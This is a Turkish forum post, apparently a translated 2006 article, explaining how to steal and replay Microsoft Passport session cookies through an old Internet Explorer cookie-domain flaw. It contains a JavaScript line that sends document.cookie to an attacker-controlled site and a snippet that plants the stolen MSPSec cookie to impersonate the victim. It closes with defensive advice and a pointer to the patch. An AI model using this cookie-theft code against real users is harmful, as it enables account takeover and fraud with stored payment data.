Tekil Mesaj gösterimi
Alt 19 Şubat 2006, 13:38   #3
Çevrimdışı
telNET
Kullanıcıların profil bilgileri misafirlere kapatılmıştır.
IF Ticaret Sayısı: (0)
IF Ticaret Yüzdesi:(%)



Örnek cevap web sunucu ve cevap tipi hakkında bazı bilgiler veriyor. Cevapta içerik ve başlıkların birbirinden 2 yeni satır ile ayrıldığını farketmişsinizdir. Bu HTTP`nin transfer davranışını açıklar. Başlangıç bağlantısı yapılıp istek gönderildiğinde cevap gelene kadar bağlantı (zaman aşımı durumu olmadıkça)
açıktır. Webde oturum yönetimini güvenli hale getirmenin zor olmasının sebeplerinden biri her transferin atomik olmasıdır. Örnek HTTP cevaptaki en önemli başlık Set-Cookie başlığı. Örnekte k2labs isminde ve chris değerine sahip bir cookie
yaratılıyor. Set-Cookie başlığındaki diğer tüm bilgiler browser`ın daha sonraki isteklerinin başlıklarında bu cookie`yi bulundurup bulundurmayacağını belirleyen bilgilerdir. Göreceğimiz gibi diğer hiçbir bilgi web sunucuya dönülmez, sadece isim ve değeri sağlanır. Örnekteki cookie, son kullanım değeri (expiration date)
belirlenmediği için diske yazılmayacak ve hafıza da duracaktır. Sadece k2labs.org alt-alanlarına (subdomain) yapılan isteklerde gönderilecek ve dizinde bir sınırlama yok. Yazılacak her cookie ayri Set-Cookie başlıkları ile geçirilir. Bu aşağıda gösterildiği gibi, birden fazla cookie`nin web sunucuya geri sunulması metodlarında çeşitlilik gösterir.
Bilmeniz gereken son bilgi de browser`ın bir istek yaparken web sunucuya daha önceden belirlenmiş cookie`yi nasıl göndereceğidir. Örnek Cookie başlığı:
Cookie: k2labs=chris
Farkedeceğiniz gibi cookie`nin değerinden başka hiçbir bilgi verilmiyor. Diğer tüm bilgiler daha önce bahsettiğim gibi sadece erişim gereksinimlerini belirlemek için.
Eğer birden fazla cookie sunuluyorsa her biri aynı şekilde (isim=değer) listelenir ve biribirinden noktalı virgül ile ayrılır (isim=değer;isim2=değer2). Bu sebeple sadece tek bir Cookie başlığı gönderilir.

Güvenlik Açığı
Microsoft Internet Explorer 5.5 öncesi sürümler cookie`lerde amaçlanan erişim gereksinimlerini tamamen aşan bir güvenlik açığı içeriyor. Etkilenen browser`ların geniş kullanımı (browserwatch.com`a göre yaklaşık olarak %67.6) sebebiyle bu önemli bir açık teşkil ediyor.
Özel yapılandırılmış bir URL ile, bir web sitesi etkilenen browser`a istemci-tarafında çalışan (client-side) script`ler yollayarak normalde okuyamayacağı cookie içeriklerini kendisine yollanmasını sağlayabilir. Bu güvenlik açığı
[Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...] adresinde anlatılmaktadır. Bu tip bir URL`ye örnek:
[Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...]
/ ve ? işaretlerinin encode edilmiş değerlerini kullanarak [Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...] adresindeki bir sayfanın (etkilenen browser`a) .login.passport.com alanadı içerisindeymiş gibi ve /ppsecure dizini altında çalışıyor gibi gösterdik. URL aslında aşağıdaki gibi:
[Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...]
Daha önce listelediğimiz Passport cookie`lerini hatırlayacak olursanız, bu bize .wallet.passport.com alanındaki ikisi (PWSVis ve PWSTok) hariç tüm cookie`lere erişim sağlıyor. Diğer ikisi de yukarıdaki örnekte 'login' yerine 'wallet' yazılarak görüntülenebilir.

Etkilenen browserlar bu URL`yi bozuk olarak algılamıyor. İstek doğru host`a gönderildi ([Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...]). Bu tabi ki bizim erişim yapabilmemiz için gerekli.
Diğer bir nokta, browser Passport cookie`lerini içeren HTTP Cookie başlığını dönmeyecektir. Bu yüzden browser`dan Passport Cookie`lerini çıkartmakta bu başlığı kullanamayız ve alternatif bir metod geliştirmemiz gerekli. İşte burda istemci-tarafında çalışan script`ler devreye giriyor.

Client-Side Scripting
Örneklerimde istemci-tarafı scriptler için javascript kullanacağım. Aşağıdaki örnek script yukarıda bahsedilen reveal.php sayfası içerinde kullanılabilir.
Script .passport.com ve .login.passport.com alanlarındaki tüm cookie`leri ortaya çıkaracak ve bu bilgileri kullanıcının web sunucumuza göndermesi için bir URL bağlantısına ekleyecek. Document.cookie formatı isim=değer&isim2=değer2
şeklindedir ve bu bir URL`de istek değeri olarak aşağıdaki gibi kullanılabilir:
<script language='javascript'>document.write(`<a href='
Bu forumdaki linkleri ve resimleri görebilmek için en az 25 mesajınız olması gerekir.
document.cookie + `'>Our Site has Moved</a>`);</script>

Hepsi bir arada
Şimdi bir Passport kullanıcısının cookie`si içerisindeki tüm verilere sahipiz. Bu veriler ele geçirildiğinde cookie`leri kullanacak diğer kişi için bir cookie`lerin alınacağı siteyi hazırlamalıyız. Bir web istemcisi ile taklit işlemi gerçekleştirilebilir
fakat bu gerekli bir adım değil. Cookie`leri yazmak için aynı güvenlik açığından ve istemci-tarafı script işleminden yararlanacağız. MSPSec cookie`sini javascript
(sunucu-tarafı script dili olarak PHP) kullanarak aşağıdaki örnekteki gibi yazabiliriz:
<script language='javascript'>this.document.cookie='MSPSec =<?echo $mspsec;?>; domain=.passport.com; path=/ppsecure;expires=Wed, 30-Dec-2037 08:00:00 GMT; secure;';</script>
Yazılım HTTP Set-Cookie başlığında olduğu gibi. Bu örnekteki gibi diğer Passport cookie`lerini de yaratabilirsiniz. 3 alan adının her biri için cookie`ler mevcut olduğunda başkasının kimliğine hiçbir kullanıcı ismi ve şifre girmeden sahip olunabilir. Buna kişisel bilgileri görüntüleme, değiştirme ve depolanmış kredi kartı
bilgileri ile alışveriş yapmak da dahil.

Özet
Bu işlemler kolay gibi görünse de başarılı olması için aşağıdaki şartların gerçekleşmesi gerekiyor:
1) Kullanıcı Passport`tan çıkmış olmalı (logout).
2) Taklit edici tamamen farklı bir IP adresine sahip olmalı.
3) Taklit edici farklı bir browser kullanıyor olmalı.
HTTP kullanarak %100 güvenli bir mekanizma yapmak çok zor çünkü HTTP Microsoft gibi üretici firmaların müşterilerine sağlamaya çalıştığı kolaylığı desteklemiyor. Passport`a login olurken 'Sign me in automatically on this computer'
seçeneğini asla işaretlemeyin. Bu çeşitli sitelerde tekrar şifrenizi girmeden otomatik olarak login olmanızı sağlayacak olan MSPSec cookie`sini yaratır. Bu cookie ele geçirildiğinde kullanıcı hesabınız için büyük tehlike yaratır.
Passport`a sadece gereksinim duyan sitelere girmeden önce login olun ve ziyaretiniz bittiğinde hemen logout yapın. Logout işlemi cookie`lerin çoğunu yok eder.
En önemlisi etkilenen browser sürümlerini kullanmamak. Eğer Microsoft Internet Explorer`ın etkilenen bir sürümünü kullanıyorsanız, ve kullanmaya devam etmek istiyorsanız Microsoft bu açık için bir yama çıkardı. Aşağıdaki adresten bu yamayı çekip kurun:
[Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...]

Son Not
Passport mekanizmasında daha pek çok açık bulunacaktır. Bir başkasının kullanıcı hesabını ele geçirmek için Passport kullanılan bir site gibi görünmek belki en kolay yol. Çünkü Passport`un nasıl uygulandığı hakkında bir bilgi gerektirmiyor.
Umarım bu yazıda bahsedilen saldırı şu anki web teknolojisini ve web geliştiricilerin karşılaştığı problemleri daha iyi anlamanızı sağlamıştır.

 
Alıntı ile Cevapla

IRCForumlari.NET Reklamlar
sohbet odaları reklam ver Benimmekan Mobil Sohbet